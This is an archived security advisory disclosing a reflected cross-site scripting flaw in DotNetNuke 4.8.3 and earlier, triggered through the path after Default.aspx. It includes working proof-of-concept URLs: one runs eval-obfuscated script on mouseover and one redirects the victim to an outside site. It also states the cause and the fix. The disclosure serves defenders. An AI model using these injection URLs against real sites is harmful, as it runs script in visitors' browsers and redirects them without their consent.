AOH :: HP Unsorted D :: BX3365.HTM

Dot Net Nuke (DNN) <= 4.8.3 XSS Vulnerability



Dot Net Nuke (DNN) <= 4.8.3 XSS Vulnerability
Dot Net Nuke (DNN) <= 4.8.3 XSS Vulnerability



########################## www.BugReport.ir #######################################=0D 
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#		AmnPardaz Security Research Team=0D
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# Title: Dot Net Nuke (DNN) XSS Vulnerability.=0D
# Vendor: www.dotnetnuke.com=0D 
# Vulnerable Version: 4.8.3 and prior versions=0D
# Exploit: N/A=0D
# Impact: Low=0D
# Fix: N/A=0D
# Original Advisory: http://bugreport.ir/index.php?/38=0D 
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1. Description:=0D
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	DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites.=0D
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2. Vulnerability:=0D
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	XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL.=0D
	In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO".=0D
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3. PoC:=0D
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	- Alert by XSS=0D
http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx=0D 
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- Redirect by XSS (We must use a "?" because of using ":" in "HTTP://")=0D 
http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive';=0D 
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4. Solution:=0D
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Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx).=0D 
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5. Credit :=0D
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AmnPardaz Security Research & Penetration Testing Group=0D
Contact: admin[4t}bugreport{d0t]ir=0D
WwW.BugReport.ir=0D 
WwW.AmnPardaz.com 

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